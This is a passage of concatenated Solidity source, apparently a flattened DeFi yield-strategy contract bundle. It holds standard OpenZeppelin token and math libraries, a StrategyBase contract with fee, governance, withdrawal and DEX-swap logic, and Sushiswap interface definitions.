_weth); IERC20(rewardToken).safeApprove(sushiRouter, 0); IERC20(rewardToken).safeApprove(sushiRouter, _rewardToken); IUniswapRouterV2(sushiRouter).addLiquidity( weth, rewardToken, _weth, _rewardToken, 0, 0, address(this), block.timestamp + 60 ); // Donates DUST IERC20(weth).transfer( IController(controller).treasury(), IERC20(weth).balanceOf(address(this)) ); IERC20(rewardToken).safeTransfer( IController(controller).treasury(), IERC20(rewardToken).balanceOf(address(this)) ); } deposit(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity 0.8.2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../interfaces/INeuronPool.sol"; import "../interfaces/IStakingRewards.sol"; import "../interfaces/IUniswapRouterV2.sol"; import "../interfaces/IController.sol"; // Strategy Contract Basics abstract contract StrategyBase { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Perfomance fees - start with 30% uint256 public performanceTreasuryFee = 3000; uint256 public constant performanceTreasuryMax = 10000; // Withdrawal fee 0% // - 0% to treasury // - 0% to dev fund uint256 public withdrawalTreasuryFee = 0; uint256 public constant withdrawalTreasuryMax = 100000; uint256 public withdrawalDevFundFee = 0; uint256 public constant withdrawalDevFundMax = 100000; // Tokens // Input token accepted by the contract address public immutable neuronTokenAddress; address public immutable want; address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // User accounts address public governance; address public controller; address public strategist; address public timelock; // Dex address public constant univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public constant sushiRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; mapping(address => bool) public harvesters; constructor( // Input token accepted by the contract address _want, address _governance, address _strategist, address _controller, address _neuronTokenAddress, address _timelock ) { require(_want != address(0)); require(_governance != address(0)); require(_strategist != address(0)); require(_controller != address(0)); require(_neuronTokenAddress != address(0)); require(_timelock != address(0)); want = _want; governance = _governance; strategist = _strategist; controller = _controller; neuronTokenAddress = _neuronTokenAddress; timelock = _timelock; } // **** Modifiers **** // modifier onlyBenevolent() { require( harvesters[msg.sender] || msg.sender == governance || msg.sender == strategist ); _; } // **** Views **** // function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public view virtual returns (uint256); function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function getName() external pure virtual returns (string memory); // **** Setters **** // function whitelistHarvester(address _harvester) external { require( msg.sender == governance || msg.sender == strategist, "not authorized" ); harvesters[_harvester] = true; } function revokeHarvester(address _harvester) external { require( msg.sender == governance || msg.sender == strategist, "not authorized" ); harvesters[_harvester] = false; } function setWithdrawalDevFundFee(uint256 _withdrawalDevFundFee) external { require(msg.sender == timelock, "!timelock"); withdrawalDevFundFee = _withdrawalDevFundFee; } function setWithdrawalTreasuryFee(uint256 _withdrawalTreasuryFee) external { require(msg.sender == timelock, "!timelock"); withdrawalTreasuryFee = _withdrawalTreasuryFee; } function setPerformanceTreasuryFee(uint256 _performanceTreasuryFee) external { require(msg.sender == timelock, "!timelock"); performanceTreasuryFee = _performanceTreasuryFee; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) external { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } // **** State mutations **** // function deposit() public virtual; // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a pool withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } uint256 _feeDev = _amount.mul(withdrawalDevFundFee).div( withdrawalDevFundMax ); IERC20(want).safeTransfer(IController(controller).devfund(), _feeDev); uint256 _feeTreasury = _amount.mul(withdrawalTreasuryFee).div( withdrawalTreasuryMax ); IERC20(want).safeTransfer( IController(controller).treasury(), _feeTreasury ); address _nPool = IController(controller).nPools(address(want)); require(_nPool != address(0), "!nPool"); // additional protection so we don't burn the funds IERC20(want).safeTransfer( _nPool, _amount.sub(_feeDev).sub(_feeTreasury) ); } // Withdraw funds, used to swap between strategies function withdrawForSwap(uint256 _amount) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawSome(_amount); balance = IERC20(want).balanceOf(address(this)); address _nPool = IController(controller).nPools(address(want)); require(_nPool != address(0), "!nPool"); IERC20(want).safeTransfer(_nPool, balance); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _nPool = IController(controller).nPools(address(want)); require(_nPool != address(0), "!nPool"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_nPool, balance); } function _withdrawAll() internal { _withdrawSome(balanceOfPool()); } function _withdrawSome(uint256 _amount) internal virtual returns (uint256); function harvest() public virtual; // **** Emergency functions **** function execute(address _target, bytes memory _data) public payable returns (bytes memory response) { require(msg.sender == timelock, "!timelock"); require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } // **** Internal functions **** function _swapUniswap( address _from, address _to, uint256 _amount ) internal { require(_to != address(0)); address[] memory path; if (_from == weth || _to == weth) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } IUniswapRouterV2(univ2Router2).swapExactTokensForTokens( _amount, 0, path, address(this), block.timestamp.add(60) ); } function _swapUniswapWithPath(address[] memory path, uint256 _amount) internal { require(path[1] != address(0)); IUniswapRouterV2(univ2Router2).swapExactTokensForTokens( _amount, 0, path, address(this), block.timestamp.add(60) ); } function _swapSushiswap( address _from, address _to, uint256 _amount ) internal { require(_to != address(0)); address[] memory path; if (_from == weth || _to == weth) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } IUniswapRouterV2(sushiRouter).swapExactTokensForTokens( _amount, 0, path, address(this), block.timestamp.add(60) ); } function _swapWithUniLikeRouter( address routerAddress, address _from, address _to, uint256 _amount ) internal returns (bool) { require(_to != address(0)); require( routerAddress != address(0), "_swapWithUniLikeRouter routerAddress cant be zero" ); address[] memory path; if (_from == weth || _to == weth) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } try IUniswapRouterV2(routerAddress).swapExactTokensForTokens( _amount, 0, path, address(this), block.timestamp.add(60) ) { return true; } catch { return false; } } function _swapSushiswapWithPath(address[] memory path, uint256 _amount) internal { require(path[1] != address(0)); IUniswapRouterV2(sushiRouter).swapExactTokensForTokens( _amount, 0, path, address(this), block.timestamp.add(60) ); } function _swapToNeurAndDistributePerformanceFees( address swapToken, address swapRouterAddress ) internal { uint256 swapTokenBalance = IERC20(swapToken).balanceOf(address(this)); if (swapTokenBalance > 0 && performanceTreasuryFee > 0) { uint256 performanceTreasuryFeeAmount = swapTokenBalance .mul(performanceTreasuryFee) .div(performanceTreasuryMax); uint256 totalFeeAmout = performanceTreasuryFeeAmount; _swapAmountToNeurAndDistributePerformanceFees( swapToken, totalFeeAmout, swapRouterAddress ); } } function _swapAmountToNeurAndDistributePerformanceFees( address swapToken, uint256 amount, address swapRouterAddress ) internal { uint256 swapTokenBalance = IERC20(swapToken).balanceOf(address(this)); require( swapTokenBalance >= amount, "Amount is bigger than token balance" ); IERC20(swapToken).safeApprove(swapRouterAddress, 0); IERC20(weth).safeApprove(swapRouterAddress, 0); IERC20(swapToken).safeApprove(swapRouterAddress, amount); IERC20(weth).safeApprove(swapRouterAddress, type(uint256).max); bool isSuccesfullSwap = _swapWithUniLikeRouter( swapRouterAddress, swapToken, neuronTokenAddress, amount ); if (isSuccesfullSwap) { uint256 neuronTokenBalance = IERC20(neuronTokenAddress).balanceOf( address(this) ); if (neuronTokenBalance > 0) { // Treasury fees // Sending strategy's tokens to treasury. Initially @ 30% (set by performanceTreasuryFee constant) of strategy's assets IERC20(neuronTokenAddress).safeTransfer( IController(controller).treasury(), neuronTokenBalance ); } } else { // If failed swap to Neuron just transfer swap token to treasury IERC20(swapToken).safeApprove(IController(controller).treasury(), 0); IERC20(swapToken).safeApprove(IController(controller).treasury(), amount); IERC20(swapToken).safeTransfer( IController(controller).treasury(), amount ); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.2; // interface for Sushiswap MasterChef contract interface ISushiMasterchefV2 { function MASTER_PID() external view returns (uint256); function MASTER_CHEF() external view returns (address); function rewarder(uint256 pid) external view returns (address); function add( uint256 _allocPoint, address _lpToken, address _rewarder ) external; function deposit( uint256 _pid, uint256 _amount, address _to ) external; function pendingSushi(uint256 _pid, address _user) external view returns (uint256); function sushiPerBlock() external view returns (uint256); function poolInfo(uint256) external view returns ( uint256 lastRewardBlock, uint256 accsushiPerShare, uint256 allocPoint ); function poolLength() external view returns (uint256); function set( uint256 _pid, uint256 _allocPoint, address _rewarder, bool overwrite ) external; function harvestFromMasterChef() external; function harvest(uint256 pid, address to) external; function totalAllocPoint() external view returns (uint256); function updatePool(uint256 _pid) external; function userInfo(uint256, address) external view returns (uint256 amount, uint256 rewardDebt); function withdraw( uint256 _pid, uint256 _amount, address _to ) external; function withdrawAndHarvest( uint256 _pid, uint256 _amount, address _to ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.2; // interface for Sushiswap MasterChef contract interface ISushiRewarder { function pendingToken(uint256 pid, address user) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to 